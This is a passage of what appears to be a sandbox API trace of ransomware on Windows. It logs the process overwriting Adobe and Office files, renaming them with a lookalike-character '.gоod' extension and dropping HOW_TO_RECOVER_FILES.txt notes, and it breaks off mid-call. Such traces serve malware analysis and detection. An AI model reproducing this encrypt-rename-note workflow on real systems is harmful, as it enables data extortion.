DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed9a0) returned 1 [0200.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0200.613] GetFileType (hFile=0x854) returned 0x1 [0200.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed910) returned 1 [0200.613] GetFileType (hFile=0x854) returned 0x1 [0200.613] SetFilePointer (in: hFile=0x854, lDistanceToMove=0, lpDistanceToMoveHigh=0x207edaf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207edaf8*=0) returned 0x1c34 [0200.613] WriteFile (in: hFile=0x854, lpBuffer=0x3749928*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ed9e8, lpOverlapped=0x0 | out: lpBuffer=0x3749928*, lpNumberOfBytesWritten=0x207ed9e8*=0x10, lpOverlapped=0x0) returned 1 [0200.614] CloseHandle (hObject=0x854) returned 1 [0200.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed9a0) returned 1 [0200.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0200.614] GetFileType (hFile=0x854) returned 0x1 [0200.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed910) returned 1 [0200.614] GetFileType (hFile=0x854) returned 0x1 [0200.614] ReadFile (in: hFile=0x854, lpBuffer=0x374bc50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eda78, lpOverlapped=0x0 | out: lpBuffer=0x374bc50*, lpNumberOfBytesRead=0x207eda78*=0x1000, lpOverlapped=0x0) returned 1 [0201.329] CloseHandle (hObject=0x854) returned 1 [0201.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed9a0) returned 1 [0201.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0201.329] GetFileType (hFile=0x854) returned 0x1 [0201.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed910) returned 1 [0201.329] GetFileType (hFile=0x854) returned 0x1 [0201.329] WriteFile (in: hFile=0x854, lpBuffer=0x3730ce0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207edb28, lpOverlapped=0x0 | out: lpBuffer=0x3730ce0*, lpNumberOfBytesWritten=0x207edb28*=0x1010, lpOverlapped=0x0) returned 1 [0201.329] CloseHandle (hObject=0x854) returned 1 [0201.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0201.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eda60) returned 1 [0201.330] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x207edb40 | out: lpFileInformation=0x207edb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x74378f1b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c44)) returned 1 [0201.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eda20) returned 1 [0201.330] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js.gоod")) returned 1 [0201.331] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ed740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0201.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edc60) returned 1 [0201.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x84c [0201.747] GetFileType (hFile=0x84c) returned 0x1 [0201.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbd0) returned 1 [0201.747] GetFileType (hFile=0x84c) returned 0x1 [0201.748] WriteFile (in: hFile=0x84c, lpBuffer=0x3410a08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207edd28, lpOverlapped=0x0 | out: lpBuffer=0x3410a08*, lpNumberOfBytesWritten=0x207edd28*=0x5d0, lpOverlapped=0x0) returned 1 [0201.749] CloseHandle (hObject=0x84c) returned 1 [0201.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0201.750] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs", lpFilePart=0x0) returned 0x45 [0201.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0201.751] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0201.751] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0201.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0201.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0201.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs", lpFilePart=0x0) returned 0x45 [0201.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0201.752] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0201.752] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0201.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0201.752] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", lpFilePart=0x0) returned 0x4f [0201.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edaa0) returned 1 [0201.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif"), fInfoLevelId=0x0, lpFileInformation=0x341ffd8 | out: lpFileInformation=0x341ffd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba)) returned 1 [0201.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eda60) returned 1 [0201.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", nBufferLength=0x105, lpBuffer=0x207ed430, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", lpFilePart=0x0) returned 0x4f [0201.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed950) returned 1 [0201.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.753] GetFileType (hFile=0x84c) returned 0x1 [0201.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed8c0) returned 1 [0201.753] GetFileType (hFile=0x84c) returned 0x1 [0201.753] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x207edaf8 | out: lpFileSizeHigh=0x207edaf8*=0x0) returned 0x5ba [0201.754] ReadFile (in: hFile=0x84c, lpBuffer=0x34208f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eda28, lpOverlapped=0x0 | out: lpBuffer=0x34208f0*, lpNumberOfBytesRead=0x207eda28*=0x5ba, lpOverlapped=0x0) returned 1 [0201.755] CloseHandle (hObject=0x84c) returned 1 [0201.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", nBufferLength=0x105, lpBuffer=0x207ed430, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", lpFilePart=0x0) returned 0x4f [0201.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed950) returned 1 [0201.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.786] GetFileType (hFile=0x84c) returned 0x1 [0201.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed8c0) returned 1 [0201.786] GetFileType (hFile=0x84c) returned 0x1 [0201.786] WriteFile (in: hFile=0x84c, lpBuffer=0x3499cd0*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x207ed938, lpOverlapped=0x0 | out: lpBuffer=0x3499cd0*, lpNumberOfBytesWritten=0x207ed938*=0x5c0, lpOverlapped=0x0) returned 1 [0201.787] CloseHandle (hObject=0x84c) returned 1 [0201.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif", lpFilePart=0x0) returned 0x4f [0201.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif.gоod", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif.gоod", lpFilePart=0x0) returned 0x54 [0201.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eda60) returned 1 [0201.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif"), fInfoLevelId=0x0, lpFileInformation=0x207edb40 | out: lpFileInformation=0x207edb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x747cb3b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0201.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eda20) returned 1 [0201.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif.gоod")) returned 1 [0201.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ed740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0201.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edc60) returned 1 [0201.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x84c [0201.789] GetFileType (hFile=0x84c) returned 0x1 [0201.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbd0) returned 1 [0201.789] GetFileType (hFile=0x84c) returned 0x1 [0201.790] WriteFile (in: hFile=0x84c, lpBuffer=0x349d3d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207edd28, lpOverlapped=0x0 | out: lpBuffer=0x349d3d0*, lpNumberOfBytesWritten=0x207edd28*=0x5d0, lpOverlapped=0x0) returned 1 [0201.791] CloseHandle (hObject=0x84c) returned 1 [0201.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0201.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2a [0201.791] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.792] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0201.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0201.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0201.792] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2a [0201.792] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.793] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0201.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0201.793] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ed740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0201.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edc60) returned 1 [0201.793] CreateFileW 